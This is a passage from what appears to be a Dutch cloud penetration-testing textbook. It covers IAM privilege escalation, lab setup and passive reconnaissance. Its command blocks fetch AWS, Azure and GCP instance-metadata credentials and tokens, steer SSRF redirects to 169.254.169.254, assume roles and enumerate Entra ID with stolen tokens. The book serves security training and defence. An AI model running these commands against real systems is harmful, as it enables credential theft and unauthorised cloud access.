Policies – JSON-documenten die beschrijven welke acties zijn toegestaan of verboden op welke resources. Policies worden gekoppeld aan users, roles, of groups. Ze zijn het equivalent van Group Policy Objects, maar dan in JSON, wat ze tegelijkertijd leesbaar en onleesbaar maakt – afhankelijk van hoeveel nesting er is.

Groups – Logische groeperingen van users waaraan policies worden gekoppeld. Precies wat je verwacht, en precies zo vaak verkeerd geconfigureerd als je vreest.

In Azure heet het equivalent Entra ID (voorheen Azure AD), en het is nauw verweven met de on-premise Active Directory die we in het vorige boek behandelden. Entra ID heeft users, groups, service principals, managed identities, en app registrations – elk met hun eigen rechten, relaties, en manieren om ze te misbruiken.

In GCP draait IAM om members (users, service accounts, groups), roles (verzamelingen van permissions), en policies (bindings van members aan roles op resources). Het model is conceptueel het eenvoudigst van de drie, maar de duivel zit in de resource hierarchy: permissions erven over van organization naar folder naar project naar resource.

Privilege Escalation in de cloud

In het vorige boek beschreven we hoe je van een gewone gebruiker naar Domain Admin escaleert via paden als Kerberoasting, ACL-misbruik, ADCS, en onbeveiligde delegation. In de cloud bestaan vergelijkbare paden, maar ze zien er anders uit.

Cloud privilege escalation is bijna altijd het resultaat van een van deze patronen:

  1. Overprivileged permissions: Een user of role heeft meer rechten dan nodig. Dit is de meestvoorkomende oorzaak, en het is de cloud-versie van “te veel mensen in de Domain Admins-groep.”

  2. Permission boundaries die ontbreken: AWS heeft Permission Boundaries, Azure heeft Conditional Access, GCP heeft Organization Policy Constraints. Als ze niet zijn geconfigureerd – en dat zijn ze bijna nooit – is er niets dat een user met iam:AttachUserPolicy ervan weerhoudt om zichzelf AdministratorAccess te geven.

  3. Role chaining: Het aannemen van een role die het recht heeft om een andere role aan te nemen die het recht heeft om een derde role aan te nemen die AdministratorAccess heeft. Het klinkt als een puzzel. Het is een puzzel. En tools als Pacu lossen die puzzel automatisch voor je op.

  4. Cross-service escalation: Een Lambda-functie met een overprivileged execution role. Een EC2-instance met een instance profile die meer rechten heeft dan de instance nodig heeft. Een managed identity op een Azure VM die Key Vault secrets kan lezen.

# AWS: Controleer welke rechten je huidige identiteit heeft
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)

# AWS: Assume een andere role (als je sts:AssumeRole rechten hebt)
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME --role-session-name pentest

IB Tip: De Command Library bevat commando’s voor IAM-enumeratie en privilege escalation. Zoek op cloud_iam_enum voor enumeratie en cloud_privesc voor escalatie-paden.

Service Accounts en Managed Identities

In een on-premise AD-omgeving zijn service accounts een van de rijkste doelwitten voor aanvallers. In het vorige boek behandelden we Kerberoasting – het aanvragen en offline kraken van service tickets voor accounts met een SPN. In de cloud bestaan vergelijkbare constructies, maar ze werken anders.

AWS: EC2-instances kunnen een instance profile hebben die een IAM-role koppelt aan de instance. Elke applicatie op die instance kan de temporary credentials van die role opvragen via het Instance Metadata Service (IMDS) endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME. Lambda-functies hebben een execution role waarvan de credentials beschikbaar zijn als environment variables.

Azure: VMs en App Services kunnen een managed identity hebben – een identiteit in Entra ID die automatisch wordt beheerd. De credentials zijn beschikbaar via het Azure IMDS endpoint: http://169.254.169.254/metadata/identity/oauth2/token. Er zijn twee soorten: system-assigned (gekoppeld aan de lifecycle van de resource) en user-assigned (onafhankelijk beheerd).

GCP: Compute Engine instances draaien standaard met een default service account dat – hier komt het – Editor-rechten heeft op het hele project. Dat is alsof elke werkstation in je netwerk automatisch Domain Admin-rechten zou krijgen. Google heeft dit enigszins aangepast in nieuwe projecten, maar legacy-projecten draaien vaak nog met deze standaard.

# AWS: Metadata ophalen van een EC2-instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# Azure: Managed identity token ophalen
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP: Service account token ophalen
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

Het patroon is bij alle drie de providers hetzelfde: als je code kunt uitvoeren op een cloud-resource, heb je toegang tot de credentials van de identiteit die aan die resource is gekoppeld. En die credentials geven je toegang tot alles waarvoor die identiteit rechten heeft.

Dit is het cloud-equivalent van het dumpen van LSASS op een server en het vinden van een service account-hash. Alleen hoef je in de cloud geen Mimikatz te draaien en hoef je geen hash te kraken. De credentials liggen klaar op een HTTP-endpoint dat bereikbaar is zonder authenticatie vanaf de instance zelf.

De realiteit van cloud-omgevingen

Er is een reden dat cloud-pentests bijna altijd bevindingen opleveren. Net als bij on-premise netwerken is het niet omdat pentesters zo briljant zijn. Het is omdat cloud-omgevingen, collectief en systematisch, dezelfde fouten bevatten.

De gemiddelde cloud-omgeving die we testen ziet er als volgt uit: er zijn drie tot vijf AWS-accounts, ooit opgezet met de beste intenties en een mooi architectuurdiagram. Het productie-account is redelijk strak geconfigureerd, want daar kijkt de auditor naar. Het development-account is een digitale speeltuin waar elke ontwikkelaar AdministratorAccess heeft, want “anders duurt het te lang.” Het staging-account is een kopie van productie, maar dan zonder de beveiligingsmaatregelen, want “die komen later.” En ergens staat een account dat niemand meer herkent, aangemaakt door een collega die twee jaar geleden is vertrokken, met een root-account waarvan het wachtwoord in een gedeeld spreadsheet staat dat via een publieke link toegankelijk is.

Het mooiste is de Infrastructure as Code. De organisatie gebruikt Terraform. Er zijn modules. Er is een pipeline. Het ziet er professioneel uit. Maar naast de Terraform-state staan honderden resources die handmatig zijn aangemaakt via de console, die niet in de state zitten, en waarvan niemand weet wie ze heeft gemaakt of waarom ze er zijn. Het is alsof je een perfecte bouwtekening hebt voor een huis, maar de helft van de kamers is bijgebouwd door anonieme klusjesmannen die niet op de tekening staan.

En dan is er IAM. Het IAM-beleid van de gemiddelde AWS-omgeving is het product van drie jaar ad-hoc beslissingen. Elke keer dat een developer zei “ik heb meer rechten nodig” werd er een policy toegevoegd. Elke keer dat iets niet werkte werd de scope verbreed. Het resultaat is een spinnenweb van policies, roles, en trust relationships dat niemand volledig overziet, dat niemand durft aan te passen uit angst dat er iets breekt, en dat langzaam maar zeker steeds permissiever wordt.

De tools in dit boek – ScoutSuite, Pacu, CloudFox, ROADtools – doen precies wat de documentatie zegt. Ze werken omdat de omgevingen die ze scannen vol zitten met configuratiefouten die iedereen kent en niemand fixt. Want fixen kost tijd, en tijd kost geld, en geld gaat naar features, niet naar security. Tot het misgaat. Dan gaat het geld naar incident response, en dat kost meer dan de fix had gekost.

Dat is de werkelijke les van cloud-pentesting. Dezelfde les als in de vorige twee boeken. Het gaat niet om de aanval. Het gaat om de verdediging die er niet was.

1.5 Cloud Threat Landscape

MITRE ATT&CK Cloud Matrix

Het MITRE ATT&CK-framework, dat we in de voorgaande delen uitgebreid hebben gebruikt, heeft specifieke matrices voor cloud-omgevingen. De Cloud Matrix bevat technieken voor IaaS (Infrastructure as a Service) en behandelt aanvalspatronen die uniek zijn voor cloud-omgevingen.

De relevante tactics voor cloud-pentesting:

Tactic Cloud-specifieke focus Voorbeeld
Initial Access Credential theft, phishing, valid accounts Gelekte AWS keys op GitHub
Execution Serverless invocation, cloud API’s Lambda-aanroep, RunCommand
Persistence Account manipulation, implant image IAM user aanmaken, backdoored AMI
Privilege Escalation Cloud role manipulation, policy modification Role assumption, policy attachment
Defense Evasion Log tampering, region switching CloudTrail uitschakelen, unused regions
Credential Access Instance metadata, secrets managers IMDS harvesting, SSM Parameter Store
Discovery Cloud API enumeration Account discovery, resource listing
Lateral Movement Cross-account access, service exploitation Role assumption, shared snapshots
Collection Cloud storage access S3 exfiltratie, database dumps
Exfiltration Transfer to cloud account Cross-account S3 copy, snapshot sharing
Impact Resource hijacking, data destruction Crypto mining, ransomware

Veelvoorkomende aanvalspatronen

Na honderden cloud-pentests tekenen zich patronen af die zich keer op keer herhalen. Het zijn de cloud-equivalenten van de Domain Admin in drie klikken die we in het vorige boek beschreven.

Patroon 1: Credential Theft via Code Repositories

Een ontwikkelaar commit per ongeluk AWS credentials naar een publiek GitHub-repository. Geautomatiseerde scanners vinden die credentials binnen minuten. De aanvaller gebruikt ze om de AWS-omgeving te enumereren, ontdekt een overprivileged role, en escaleert naar administratortoegang. Van commit tot compromise: minder dan een uur.

Dit is niet hypothetisch. Het gebeurt dagelijks. GitHub heeft tools als Secret Scanning om het te voorkomen, maar die tools werken alleen op publieke repositories, en alleen voor bekende credential-patronen. Een custom API key die niet matcht met een bekend patroon glipt er doorheen als water door een vergiet.

Patroon 2: SSRF naar Cloud Metadata

Een webapplicatie in de cloud bevat een Server-Side Request Forgery-kwetsbaarheid. De aanvaller gebruikt die SSRF om het Instance Metadata Service endpoint te bereiken (169.254.169.254), haalt de temporary credentials op van de instance role, en gebruikt die credentials om de cloud-omgeving te verkennen.

Dit is het patroon dat Capital One in 2019 tot een datalek van 106 miljoen records bracht. Het is een patroon dat de webapplicatietechnieken uit het eerste boek verbindt met de cloud-technieken uit dit boek. SSRF is de brug.

IB Tip: IB’s SSRF-module bevat redirect-endpoints specifiek voor cloud metadata. Het endpoint /ssrf/redirect?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ demonstreert dit exacte aanvalspatroon. Gebruik het in je lab om te oefenen.

Patroon 3: Misconfiguratie als Initieel Toegangspunt

Geen exploit. Geen zero-day. Gewoon een S3 bucket met een policy die "Principal": "*" zegt. Of een Azure Storage Account met een SAS-token dat nooit verloopt. Of een GCP Cloud Function die zonder authenticatie kan worden aangeroepen.

Misconfiguratie is de nummer een oorzaak van cloud-breaches. Niet omdat cloud-engineers dom zijn – ze zijn het niet – maar omdat de complexiteit van cloud-configuratie de menselijke capaciteit om het te overzien overstijgt. Een enkele AWS-account kan duizenden resources bevatten, elk met hun eigen policies, security groups, en access control lists. Dat is niet te beheren door een mens. En het wordt ook niet beheerd door een mens. Het wordt beheerd door een combinatie van Terraform-templates, handmatige console-klikken, en ad-hoc CLI-commando’s waarvan niemand precies weet wie ze wanneer heeft uitgevoerd.

Patroon 4: Hybrid Identity Exploitation

De on-premise Active Directory is gesynchroniseerd naar Azure via Entra Connect. Een aanvaller compromitteert een on-premise account, ontdekt dat de password hash is gesynchroniseerd naar Entra ID, en gebruikt die om in te loggen op Azure-resources. Of andersom: een gecompromitteerd cloudaccount wordt gebruikt om de on-premise omgeving binnen te dringen via pass-through authentication of password writeback.

Dit patroon is het kruispunt van de vorige twee boeken en dit boek. Het hybride identiteitsmodel dat de meeste organisaties gebruiken is tegelijkertijd de kracht en de achilleshiel van hun beveiliging.

# ROADtools: Entra ID enumeratie na het verkrijgen van tokens
roadrecon auth --access-token eyJ0eXAi...
roadrecon gather
roadrecon gui

# Resultaat: een compleet overzicht van alle gebruikers, groepen,
# applicatie-registraties, service principals, en hun relaties in Entra ID

De kosten van een cloud-breach

Een gemiddelde cloud-breach kost een organisatie meer dan een on-premise breach. Niet omdat de technische schade groter is – hoewel dat vaak zo is vanwege de schaal – maar omdat de juridische en compliance-gevolgen zwaarder wegen. Een gelekt S3 bucket met klantgegevens valt onder de AVG, onder sector-specifieke regelgeving, en onder de SLA’s die je met je klanten hebt afgesloten. De boetes alleen al kunnen in de miljoenen lopen.

De ironie is dat de fix voor de meeste cloud-misconfiguraties triviaal is. Een policy-wijziging. Een checkbox. Een enkele CLI-command. De oplossing is er; de wil om hem toe te passen is er niet altijd.

1.6 Het lab opzetten

Je hebt een lab nodig. Net als in de voorgaande delen geldt: je leert niet door te lezen, je leert door te doen. En je doet het in je eigen omgeving, niet in die van een ander.

Free Tier Accounts

Elk van de drie grote cloudproviders biedt een gratis laag aan die ruim voldoende is om een pentest-lab op te zetten.

Provider Free Tier Relevante services
AWS 12 maanden gratis + always free EC2 t2.micro, S3 5GB, Lambda 1M requests, IAM
Azure 12 maanden gratis + $200 credit VM B1s, Storage 5GB, Functions, Entra ID Free
GCP 90 dagen $300 credit + always free Compute e2-micro, Storage 5GB, Functions, IAM

Belangrijk: Gebruik een dedicated e-mailadres en betalingsmethode voor je lab-accounts. Zet budget-alerts in. Cloud-kosten kunnen snel oplopen als je vergeet resources op te ruimen na je oefensessie. Een EC2-instance die een weekend draait kost een paar euro. Een EC2-instance die een maand draait omdat je bent vergeten hem te stoppen kost aanzienlijk meer.

# AWS: Budget-alert instellen (doe dit als eerste!)
aws budgets create-budget \
  --account-id ACCOUNT_ID \
  --budget '{
    "BudgetName": "pentest-lab",
    "BudgetLimit": {"Amount": "10", "Unit": "USD"},
    "TimeUnit": "MONTHLY",
    "BudgetType": "COST"
  }' \
  --notifications-with-subscribers '[{
    "Notification": {
      "NotificationType": "ACTUAL",
      "ComparisonOperator": "GREATER_THAN",
      "Threshold": 80
    },
    "Subscribers": [{"SubscriptionType": "EMAIL", "Address": "jouw@email.nl"}]
  }]'

Sandbox Accounts

Voor serieuze oefening is een AWS Organizations-setup met sandbox-accounts ideaal. Maak een organization aan met een management-account en een of meer member-accounts die je als pentest-doelwitten configureert. Service Control Policies (SCPs) op het management-account voorkomen dat je per ongeluk resources aanmaakt in regio’s die je niet gebruikt.

In Azure kun je meerdere subscriptions aanmaken binnen dezelfde tenant, of een aparte tenant opzetten voor je lab. Het laatste is veiliger – het voorkomt dat lab-resources interacteren met eventuele productie-resources.

In GCP maak je een apart project aan voor je lab. GCP’s project-isolatie is sterk; resources in het ene project zijn niet zichtbaar in het andere, tenzij je expliciet cross-project toegang configureert.

Tools installeren

Op je aanvalsmachine (Kali of ParrotOS):

# AWS CLI v2
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# Azure CLI
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Google Cloud CLI
curl https://sdk.cloud.google.com | bash
gcloud init

# ScoutSuite (multi-cloud auditing)
pip install scoutsuite

# Pacu (AWS exploitation)
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu && pip install -r requirements.txt

# ROADtools (Azure AD/Entra ID)
pip install roadrecon roadlib

# CloudFox (multi-cloud enumeration)
# Download binary van https://github.com/BishopFox/cloudfox/releases

# Prowler (AWS/Azure security assessment)
pip install prowler

# enumerate-iam (AWS IAM enumeration)
git clone https://github.com/andresriancho/enumerate-iam.git

Bewuste Misconfiguraties voor het Lab

Net als in het vorige boek configureer je je lab met bewuste kwetsbaarheden. In de cloud is dat bijzonder eenvoudig, want de standaardinstellingen zijn vaak al kwetsbaar genoeg – je hoeft ze alleen maar niet te verbeteren.

Aanbevolen lab-configuratie voor AWS:

Aanbevolen lab-configuratie voor Azure:

IB Tip: Gebruik de Notes-functie in IB (/dashboard/notes) om je lab-configuratie te documenteren. Maak een notitie “Lab Setup” met de Account IDs, regio’s, en bewust aangebrachte misconfiguraties. Zet de “Rapport” toggle uit – deze informatie is voor jezelf, niet voor de opdrachtgever.

Er bestaan ook kant-en-klare vulnerable-by-design labs:

Lab Provider Focus
CloudGoat AWS IAM, Lambda, EC2, S3 privilege escalation
Sadcloud AWS Terraform-based misconfiguraties
AzureGoat Azure Entra ID, Storage, App Service
GCPGoat GCP IAM, Cloud Functions, Storage
IAM Vulnerable AWS 31 IAM privilege escalation paden
DVCA Multi Damn Vulnerable Cloud Application
# CloudGoat: vulnerable-by-design AWS lab
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat && pip install -r requirements.txt
python3 cloudgoat.py config profile
python3 cloudgoat.py create iam_privesc_by_rollback

Een waarschuwing over kosten: vulnerable-by-design labs deployen echte resources in je cloud-account. CloudGoat maakt EC2-instances, Lambda-functies, S3 buckets, en IAM-rollen aan die kosten met zich mee kunnen brengen. Verwijder je lab na elke sessie met python3 cloudgoat.py destroy [scenario]. Een vergeten CloudGoat-scenario dat een weekend draait is niet duur, maar een vergeten scenario dat een maand draait wel.

De discipline om je lab op te ruimen na gebruik is trouwens een goede oefening voor de praktijk. Een van de meest voorkomende bevindingen in cloud-pentests is “vergeten test-resources in productie-accounts.” Het is grappig tot je beseft dat je het zelf ook doet.

IB Tip: Gebruik de Task Runner in IB om cloud-tools vanuit het dashboard te starten. Voeg een task toe voor ScoutSuite-scans en Pacu-modules, zodat de output automatisch wordt gelogd en doorzoekbaar is via het Outputs-paneel.

1.7 IB en Cloud Pentesting

Incompetent Bastard is gebouwd rond on-premise en webapplicatie-pentesting, maar het dashboard is direct bruikbaar voor cloud-engagements. Laten we doorlopen hoe IB de cloud-workflow ondersteunt.

SSRF en Cloud Metadata

De SSRF-module in IB (/ssrf) is ontworpen voor precies het aanvalspatroon dat we in sectie 1.5 beschreven: SSRF naar cloud metadata. De redirect-endpoints in IB sturen requests door naar de metadata-service van de cloudprovider:

# AWS metadata via IB SSRF redirect
http://YOUR_IB_IP:5000/ssrf/redirect?url=http://169.254.169.254/latest/meta-data/

# Azure IMDS via IB SSRF redirect
http://YOUR_IB_IP:5000/ssrf/redirect?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01

# GCP metadata via IB SSRF redirect
http://YOUR_IB_IP:5000/ssrf/redirect?url=http://metadata.google.internal/computeMetadata/v1/

Elke redirect wordt gelogd in het IB-dashboard, zodat je precies kunt documenteren welke metadata werd opgehaald, wanneer, en via welke SSRF-vector.

Command Library: Cloud-commando’s

De Command Library in IB bevat cloud-specifieke commando’s die hetzelfde patroon volgen als de bestaande commando’s: kopieerbare blokken met inline commentaar, georganiseerd per techniek.

De cloud-commando’s zijn herkenbaar aan hun prefix:

Prefix Categorie Voorbeelden
cloud_iam_ IAM enumeratie en exploitatie cloud_iam_enum, cloud_iam_privesc
cloud_recon_ Cloud reconnaissance cloud_recon_aws, cloud_recon_azure
cloud_storage_ Storage-aanvallen cloud_storage_enum, cloud_storage_exfil
cloud_compute_ Compute-aanvallen cloud_compute_metadata, cloud_compute_ssrf
cloud_persist_ Cloud persistence cloud_persist_iam, cloud_persist_lambda

Findings Templates: Cloud-bevindingen

De standaard finding templates in IB bevatten cloud-specifieke templates voor veelvoorkomende misconfiguraties:

Elk template bevat OWASP-classificatie, CWE-nummer, MITRE ATT&CK Cloud Matrix-referentie, CVSS 4.0-vector, en aanbevelingen die specifiek zijn voor elke cloudprovider.

IB Tip: Cloud-findings scoren in CVSS 4.0 anders dan on-premise findings. Een publiek toegankelijke S3 bucket scoort AV:N/AC:L/AT:N/PR:N/UI:N – het is bereikbaar vanaf het internet, zonder complexiteit, zonder voorwaarden, zonder authenticatie. Het Subsequent System Impact hangt af van wat er in de bucket staat. Documenteer dit zorgvuldig in de CVSS-calculator.

Rapportage: Cloud-specifieke Elementen

Cloud-pentest-rapporten hebben aanvullende elementen die in on-premise rapporten niet voorkomen:

IB’s rapportgenerator verwerkt deze elementen via het standaard LaTeX-template. Gebruik het locatie-veld voor het resource ARN/URI en het uitwerkingsveld voor de policy-analyse.

Wat je in dit boek zult leren

Dit boek is opgedeeld in hoofdstukken die ruwweg het pad volgen van een cloud-penetratietest:

Hoofdstuk Onderwerp ATT&CK Fases
1 Inleiding en lab setup
2 Cloud reconnaissance Reconnaissance, Discovery
3 Identiteit en IAM Credential Access, Privilege Escalation
4 Compute-aanvallen (EC2/VM/CE) Execution, Credential Access
5 Storage-aanvallen (S3/Blob/GCS) Collection, Exfiltration
6 Serverless en containers Execution, Persistence
7 Netwerk in de cloud (VPC/NSG) Discovery, Lateral Movement
8 Hybride identiteit (Entra Connect) Credential Access, Lateral Movement
9 Privilege escalation in de cloud Privilege Escalation
10 Laterale beweging en cross-account Lateral Movement
11 Persistence en evasion Persistence, Defense Evasion
12 Rapportage en compliance

Elk hoofdstuk bevat theorie, praktijkvoorbeelden met commando’s voor alle drie de grote providers, IB-verwijzingen, verdedigingsmaatregelen, en een referentietabel. De volgorde weerspiegelt het pad dat een aanvaller typisch volgt, maar net als in de voorgaande delen is dat pad in de praktijk zelden lineair.

De volgorde van hoofdstukken weerspiegelt het pad dat een aanvaller typisch volgt, maar in de praktijk is dat pad zelden lineair. Je vindt credentials in de reconnaissance-fase die je direct brengen bij privilege escalation. Je stuit op een cross-account trust terwijl je eigenlijk bezig was met storage-enumeratie. Je ontdekt een hybride identiteitspad terwijl je een Azure VM aan het onderzoeken was. Dat is normaal. Dat is hoe cloud-pentesting werkt.

En een laatste opmerking: de cloud verandert sneller dan welk boek ook kan bijhouden. Services worden hernoemd (Azure AD werd Entra ID), API’s worden gewijzigd, standaardinstellingen worden aangescherpt. De concepten en patronen in dit boek zijn duurzaam – de specifieke commando’s en interfaces kunnen veranderen. Raadpleeg altijd de actuele documentatie van de provider naast dit boek. De officiële documentatie vertelt je hoe het zou moeten werken. Dit boek vertelt je hoe het werkelijk is.

Klaar? Open je terminal. Configureer je CLI. En laten we de cloud in.

Referentietabel Hoofdstuk 1

Onderwerp Techniek / Concept MITRE ATT&CK IB Commando / Feature
Cloud metadata harvesting IMDS credential theft T1552.005 SSRF module: /ssrf/redirect
IAM enumeration User/role/policy enumeration T1087.004 cloud_iam_enum
Privilege escalation Role assumption, policy attachment T1078.004 cloud_iam_privesc
Storage enumeration S3/Blob/GCS bucket discovery T1619 cloud_storage_enum
Credential theft Exposed access keys T1552.001 Command Library
Cloud reconnaissance ScoutSuite, Prowler scan T1580 Task Runner
Hybrid identity Entra Connect exploitation T1078.004 cloud_recon_azure
Serverless exploitation Lambda/Functions credential access T1552.007 cloud_compute_metadata
Cross-account access Role trust policy abuse T1550.001 cloud_iam_privesc
Logging evasion CloudTrail/Activity Log gaps T1562.008 Reconnaissance notes
SSRF to metadata Web app to cloud credential theft T1190 + T1552.005 SSRF module + Command Library
Compliance scanning CIS Benchmarks, ScoutSuite T1580 Task Runner: ScoutSuite
CVSS 4.0 cloud scoring Cloud-specific impact assessment IB Findings Management
Cloud reporting ARN/URI documentation, policy evidence /dashboard/findings/rapport

Cloud Verkenning

Cloud Verkenning

“De beste manier om een kasteel te verkennen is niet door tegen de muren te bonken, maar door de bouwtekeningen op te zoeken bij het kadaster.”

De cartograaf in de mist

Er is iets fundamenteel anders aan het verkennen van cloudomgevingen vergeleken met traditionele netwerken. Bij een klassieke pentest begin je met een IP-bereik, scan je poorten, en bouwt je langzaam een beeld op van wat er draait. Het is overzichtelijk. Het is tastbaar. Je kunt het tekenen op een whiteboard.

Cloud is anders. Cloud is een stad die zichzelf voortdurend herbouwt. Servers verschijnen en verdwijnen. IP-adressen roteren. Diensten hebben geen poorten in de traditionele zin – ze hebben API-endpoints, storage URLs, en management consoles die zich verschuilen achter domeinnamen die eruitzien alsof iemand zijn kat over het toetsenbord liet lopen. d3bucket-prod-eu-west-1-acme-backup-2024.s3.amazonaws.com. Ja, dat is een echt patroon.

En toch – en hier wordt het interessant – laat de cloud meer sporen achter dan welk traditioneel netwerk ook. Elke S3 bucket heeft een DNS-naam. Elke Azure-webapp eindigt op .azurewebsites.net. Elke GCP-service staat geregistreerd in certificate transparency logs. De cloud is als een stad die geen gordijnen kent: alles is zichtbaar, als je maar weet waar je moet kijken.

Het probleem is dat de meeste organisaties denken dat hun cloudinfrastructuur onzichtbaar is. Ze geloven oprecht dat het feit dat hun servers “in de cloud” draaien, betekent dat niemand ze kan vinden. Dat is alsof je denkt dat je auto onzichtbaar wordt omdat je hem in een parkeergarage zet. De auto staat er nog. Er staat een nummerbord op. En de parkeergarage heeft ramen.

In dit hoofdstuk gaan we systematisch door elke laag van cloud reconnaissance. We beginnen passief – zonder het doelwit aan te raken – en bouwen op naar technieken die actieve interactie vereisen. Bij elke stap laten we zien welke tools je gebruikt, welke fouten organisaties maken, en hoe IB het proces ondersteunt.

IB Tip: De Command Library bevat cloud-specifieke reconnaissance commands onder de prefix recon_*. Veel van de tools en technieken in dit hoofdstuk zijn beschikbaar als command files die je direct kunt kopieren en aanpassen.

2.1 Passieve reconnaissance

2.1.1 De kunst van het niet aanraken

Passieve reconnaissance in de cloud is een paradox: je verzamelt een enorme hoeveelheid informatie over iemands infrastructuur, en toch heb je geen enkel packet naar hun systemen gestuurd. Alles wat je vindt, is publiekelijk beschikbaar. Dat is het verontrustende deel. Niet dat jij het kunt vinden – maar dat iedereen het kan vinden.

De cloudproviders zelf zijn je beste vrienden bij passieve recon. Ze publiceren hun IP-bereiken. Ze registreren domeinnamen voor hun klanten. Ze loggen certificaten in publieke databases. Het is alsof een beveiligingsbedrijf een lijst publiceert van alle kluizen die het heeft geinstalleerd, inclusief adressen.

2.1.2 DNS: het fundament

Elke cloud reconnaissance begint met DNS. Niet omdat DNS de meest geavanceerde techniek is, maar omdat het de meest informatieve is. DNS-records vertellen je niet alleen waar een server staat – ze vertellen je bij welke cloudprovider, in welke regio, en vaak ook welke dienst wordt gebruikt.

# Basis DNS records opvragen
dig target.com ANY
dig target.com MX
dig target.com TXT
dig target.com NS
dig target.com CNAME

# Specifiek zoeken naar cloud-gerelateerde CNAME records
dig staging.target.com CNAME
dig api.target.com CNAME
dig mail.target.com CNAME
dig cdn.target.com CNAME

Waar je op let bij de resultaten:

DNS Record Cloud-indicatie Voorbeeld
CNAME naar *.amazonaws.com AWS (S3, CloudFront, ELB, API Gateway) bucket.s3.amazonaws.com
CNAME naar *.azurewebsites.net Azure App Service app.azurewebsites.net
CNAME naar *.cloudfront.net AWS CloudFront CDN d1234.cloudfront.net
CNAME naar *.blob.core.windows.net Azure Blob Storage storage.blob.core.windows.net
CNAME naar *.appspot.com Google App Engine project.appspot.com
CNAME naar *.trafficmanager.net Azure Traffic Manager app.trafficmanager.net
CNAME naar *.cloudfunctions.net GCP Cloud Functions region-project.cloudfunctions.net
CNAME naar *.elasticbeanstalk.com AWS Elastic Beanstalk env.elasticbeanstalk.com
MX naar *.google.com Google Workspace aspmx.l.google.com
MX naar *.outlook.com Microsoft 365 target-com.mail.protection.outlook.com
TXT met v=spf1 include:_spf.google.com Google als mailprovider
TXT met v=spf1 include:spf.protection.outlook.com Microsoft als mailprovider
TXT met MS=ms12345678 Microsoft 365 domeinverificatie
TXT met google-site-verification= Google domeinverificatie
TXT met amazonses: AWS SES (Simple Email Service)

Die TXT-records zijn goud waard. Een SPF-record dat include:amazonses.com bevat, vertelt je dat het bedrijf AWS SES gebruikt voor transactionele e-mail. Een domeinverificatie-record voor Microsoft 365 vertelt je dat ze Office 365 draaien. Het is een boodschappenlijst van cloud-diensten, gratis beschikbaar voor iedereen die ernaar vraagt.

En dan zijn er nog de NS-records. Als de nameservers awsdns bevatten, dan gebruikt het bedrijf Route 53. Als ze azure-dns bevatten, Azure DNS. Als ze googledomains bevatten, Google Cloud DNS. De DNS-provider is vaak dezelfde als de primaire cloudprovider. Niet altijd, maar vaak genoeg om er een aanname op te baseren.

# Route 53 detectie
dig target.com NS
# Look for: ns-xxxx.awsdns-xx.org

# Azure DNS detectie
dig target.com NS
# Look for: ns1-xx.azure-dns.com

# Google Cloud DNS detectie
dig target.com NS
# Look for: ns-cloud-xx.googledomains.com

2.1.3 Certificate Transparency logs

Certificate Transparency (CT) logs zijn misschien wel het krachtigste passieve reconnaissance-instrument dat ooit per ongeluk is gecreeerd. Het systeem werd ontworpen om frauduleuze TLS-certificaten te detecteren. Het neveneffect is dat elke certificaataanvraag – voor elk subdomein, elke testomgeving, elke vergeten staging-server – publiekelijk wordt gelogd.

Voor cloudverkenning is dit onbetaalbaar. Organisaties vragen certificaten aan voor hun cloud-endpoints, en daarmee publiceren ze effectief een inventarislijst van hun hele infrastructuur.

# Alle (sub)domeinen ophalen via crt.sh
curl -s "https://crt.sh/?q=%25.target.com&output=json" \
    | jq -r '.[].name_value' \
    | sort -u \
    | tee ct-subdomains.txt

# Filter op cloud-gerelateerde patronen
grep -iE "aws|azure|gcp|cloud|s3|blob|bucket|staging|dev|test|api" ct-subdomains.txt

# Zoek naar wildcard certificaten (vaak cloud load balancers)
curl -s "https://crt.sh/?q=%25.target.com&output=json" \
    | jq -r '.[].name_value' \
    | grep "\*\." \
    | sort -u

Het resultaat is vaak onthullend. dev-api.target.com, staging-app.target.com, jenkins.internal.target.com, grafana-monitoring.target.com. Elk van deze subdomeinen is een potentieel doelwit, en velen ervan waren nooit bedoeld om publiekelijk zichtbaar te zijn.

Het cynische deel? Organisaties besteden duizenden euro’s aan het verbergen van hun infrastructuur achter WAFs en CDNs, maar registreren vrolijk certificaten voor hun interne subdomeinen in publieke CT-logs. Het is alsof je een muur bouwt om je huis en dan een plattegrond van het interieur op de voordeur plakt.

Alternatieve CT-bronnen:

# Censys (gratis tier beschikbaar)
# Via de API:
curl -s "https://search.censys.io/api/v2/certificates/search?q=parsed.names:target.com" \
    -H "Authorization: Basic $(echo -n 'API_ID:API_SECRET' | base64)"

# Certspotter
curl -s "https://api.certspotter.com/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" \
    | jq '.[].dns_names[]' \
    | sort -u

# Via subfinder (combineert meerdere bronnen)
subfinder -d target.com -sources certspotter,crtsh -silent

2.1.4 Shodan en Censys: het internet doorzoeken

Shodan en Censys scannen voortdurend het hele internet en indexeren alles wat ze vinden. Voor cloudverkenning bieden ze iets unieks: je kunt zoeken op specifieke cloudproviders, services, en zelfs configuratiefouten – zonder zelf een enkel pakket te versturen.

# Shodan CLI -- zoek naar target's cloud assets
shodan search "hostname:target.com"
shodan search "ssl.cert.subject.cn:target.com"
shodan search "org:\"Target Company B.V.\""

# Cloud-specifieke Shodan queries
shodan search "hostname:target.com cloud:aws"
shodan search "hostname:target.com cloud:azure"
shodan search "hostname:target.com cloud:gcp"

# S3 buckets die HTTP headers lekken
shodan search "x-amz-bucket-region hostname:target.com"

